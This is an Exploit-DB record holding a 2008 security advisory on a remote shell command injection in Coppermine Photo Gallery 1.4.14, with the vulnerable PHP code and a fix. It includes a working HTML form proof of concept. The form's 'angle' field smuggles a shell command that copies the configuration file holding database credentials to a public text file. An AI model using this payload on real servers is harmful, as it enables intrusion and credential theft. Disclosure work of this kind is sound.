Coppermine Photo Gallery 1.4.14 - Remote Command Execution Exploit

{"bulletinFamily": "exploit", "id": "EDB-ID:5019", "cvelist": [], "modified": "2008-01-30T00:00:00", "lastseen": "2016-01-31T21:18:11", "edition": 1, "sourceData": "[waraxe-2008-SA#065] - Remote Shell Command Execution in Coppermine 1.4.14\n===============================================================================\n\nAuthor: Janek Vind \"waraxe\"\nDate: 30. January 2008\nLocation: Estonia, Tartu\nWeb: http://www.waraxe.us/advisory-65.html\n\n\nTarget software description:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCoppermine Photo Gallery is a multi-purpose fully-featured and integrated web\npicture gallery script written in PHP using GD or ImageMagick as image library\nwith a MySQL backend.\n\nCoppermine Photo Gallery has been tested working well on IIS, Apache 1.3.24\nonwards to the latest Apache 2, on Linux, UNIX, OSX, and Win32 systems.\n\nVulnerabilities discovered\n===============================================================================\n\n1. Remote Shell Command Execution in \"include/imageObjectIM.class.php\"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nPreconditions:\n===============\na) ImageMagick must be set as picture processing method.\nDefault Coppermine setting is GD, so many of the real-world Coppermine\ninstallations are probably not affected with this security issue.\n\nImpact\n===============\nAn attacker is able to execute arbitrary shell commands with the privileges \nof the web server process, such as user \"nobody\",\"apache\" or \"www\".\n\nCaused by:\n===============\n\nUnsanitized user-submitted POST variables \"quality\", \"angle\" and \"clipval\".\n\nExplanation:\n===============\n\nLet's look at one of the ImageMagick wrapper functions:\n\n--------------------------------------\nfunction rotateImage(&$angle){\n...\n\t$imgFile = escapeshellarg(\"$this->directory$this->filename\");\n...\n\t$cmd = \"{$CONFIG['impath']}convert -quality {$this->quality}\n {$CONFIG['im_options']} -rotate $angle $imgFile $imgFile\";\n\texec ($cmd, $output, $retval);\n-------------------------------------\n\nAs we can see, \"$angle\" variable is used in command line string without\nsanitize. Now who is calling out this function?\n\n\"picEditor.php\" ~ line 123:\n-------------------------------------\n...\n $newimage = $_POST['newimage'];\n...\n if ($newimage){\n $imgObj = new imageObject($img_dir,$newimage);\n...\n if ($imgObj->imgRes){\n...\n if ($_POST['angle']<>0){\n $imgObj = $imgObj->rotateImage($_POST['angle']);\n }\n-------------------------------------\n\nSo if we deliver proper $_POST['newimage'] and ($_POST['angle'], then\nshell command injection seems to be possible ...\nAnd as it was not bad enough - this script is callable by anyone!\nNo proper permissions check! So anyone in world can exploit this security\nhole and run arbitrary commands against webserver's operating system!!\nThere are still some mitigating factors, which will decrease danger level\nof this security hole.\n\na) ImageMagic method is not default and most Coppermine real-word\ninstallations are using GD. So this specific security hole has impact only,\nif IM is used.\n\nb) $_POST array goes through anti-XSS filter first and this makes exploiting\nlittle bit harder. But this of course can't stop determined attacker.\n\nProof of concept? This simple html form:\n\n[------------- PoC start --------------------------------------------------]\n<html><body><center>\n<form action=\"http://victim.com/cpg1414/picEditor.php\" method=\"post\">\n<input type=\"hidden\" name=\"newimage\" value=\"../../images/thumb_zip.jpg\">\n<input type=\"hidden\" name=\"quality\" value=\"50\">\n<input type=\"hidden\" \nname=\"angle\" value=\"180;cp include/config.inc.php include/secret.txt;\">\n<input type=\"submit\" value=\"Test!\">\n</form>\n</center></body></html>\n[------------- PoC end ----------------------------------------------------]\n\nForm parameters must be set as needed. \"newimage\" must point to existing\nimage file. \"include\" directory must be writable for current user.\nResult - config file with database credentials will be copied to plaintext\nfile and sensitive data can be viewed after this by anyone just by pointing\nwebbrowser to resulting text file.\n\nHow to fix:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDownload new Coppermine version 1.4.15 as soon as possible!\n\n\nGreetings:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nGreets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, koko, str0ke\nand anyone else who know me!\nGreetings to Raido Kerna. Tervitusi Torufoorumi rahvale!\n\nContact:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\ncome2waraxe@yahoo.com\nJanek Vind \"waraxe\"\n\nHomepage: http://www.janekvind.com/\nWaraxe forum: http://www.waraxe.us/forums.html\n\n---------------------------------- [ EOF ] --------------------------------\n\n# milw0rm.com [2008-01-30]\n", "published": "2008-01-30T00:00:00", "href": "https://www.exploit-db.com/exploits/5019/", "osvdbidlist": [], "reporter": "waraxe", "hash": "6210164dfe7c95a5e5b41ffedc42278aeb9d53d1e3476b8a83804737b67348c1", "title": "Coppermine Photo Gallery 1.4.14 - Remote Command Execution Exploit", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "Coppermine Photo Gallery 1.4.14 Remote Command Execution Exploit. Webapps exploit for php platform", "references": [], "cvss": {"score": 0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/5019/", "enchantments": {"vulnersScore": 5.1}}